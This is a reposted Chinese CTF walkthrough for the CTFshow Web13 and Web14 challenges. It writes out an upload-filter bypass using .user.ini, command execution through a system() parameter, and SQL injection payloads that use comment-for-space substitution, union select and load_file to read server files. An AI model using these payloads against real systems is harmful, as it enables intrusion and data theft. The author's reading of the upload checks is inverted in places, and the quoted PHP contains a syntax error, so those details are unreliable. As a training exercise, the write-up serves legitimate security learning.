自学内容网 自学内容网

[CTF夺旗赛] CTFshow Web13-14 详细过程保姆级教程~

前言

​ CTFShow通常是指网络安全领域中的“Capture The Flag”(夺旗赛)展示工具或平台。这是一种用于分享、学习和展示信息安全竞赛中获取的信息、漏洞利用技巧以及解题思路的在线社区或软件。参与者会在比赛中收集“flag”,通常是隐藏在网络环境中的数据或密码形式,然后通过分析、破解等手段找到并提交。CTFShow可以帮助人们了解最新的安全技术和挑战,同时也促进了安全知识和技术的交流。

Web13

1.首先,我们启动靶机,打开首页,发现这是一个文件上传页面。
在这里插入图片描述

2.根据我们的经验,我们下载一下备份文件进行一下代码审计upload.php.bak,在url中加入即可。
在这里插入图片描述

3.我们来对源码进行一下代码审计,我们发现$size > 24规定文件大小要大于24;strlen($filename)>9文件名长度要大于9;strlen($ext_suffix)>3后缀名的长度要大于3;preg_match("/php/i",$ext_suffix)后缀名要包含php;preg_match("/php/i",$filename)文件名包含php。

<?php 
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}

 ?>

4.那么知道了这些条件我们就要来构造文件了。首先我们来写一个配置文件.user.ini
在这里插入图片描述

​ 将其上传。
在这里插入图片描述

5.接着我们来写一个1.png
在这里插入图片描述

​ 将其上传。
在这里插入图片描述

6.上传之后我们来看一下有哪些文件/index.php?1=system("ls");
在这里插入图片描述

7.我们来查看一下可能会藏有flag的文件/index.php?1=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');发现果然在里面。
在这里插入图片描述

Web14

1.首先我们启动靶机,我们发现首页是一个php代码,我们可以来进行一下代码审计,会发现提示是在url中加参数c,并且对参数进行了一些限制。
在这里插入图片描述

 <?php
include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__); 

2.这个时候我们就来测试一下,?c=3,发现爆出了一个php,访问一下看看。
在这里插入图片描述

3.我们访问一下here_1s_your_f1ag.php发现这是一个查询框并且带有弹窗回显,那么很明显说明这里是一个sql注入漏洞。
在这里插入图片描述

4.既然是sql注入漏洞,那么思路就很简单了,首先我们来测试列数,当我们输入1 order by 1时我们发现没有弹窗,这里有可能是某些字符被过滤掉了,我们将空格换为/**/,输入1/**/order/**/by/**/1发现有弹窗有回显,但是当我们输入1/**/order/**/by/**/1的时候我们发现就有弹窗但无回显了,说明列数为1。
在这里插入图片描述

5.知道了列数为1之后,我们就来去数据库中找了,首先我们先来找到数据库名。-1/**/union/**/select/**/database(),发现数据库名为web。
在这里插入图片描述

6.知道了数据库名我们就要找表名和列名了,这里就不多赘述了,但是当我们找到列名的时候我们发现flag不在这里!?query=0/**/union/**/select/**/group_concat(1,2,3)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/content)x同时它给了我们一个提示就是在secret中。
在这里插入图片描述

7.我们来到secret.php中,发现并看不了,我们想到是否能用load_file()来查看呢,url中输入?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php'),果然我们Ctrl+U一下发现了端倪。
在这里插入图片描述

8.所以real_flag_is_here。我们再次输入?query=-1/**/union/**/select/**/load_file('/real_flag_is_here'),然后再看一下,成功找到了flag。
在这里插入图片描述


原文地址:https://blog.csdn.net/Da1NtY/article/details/142797628

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!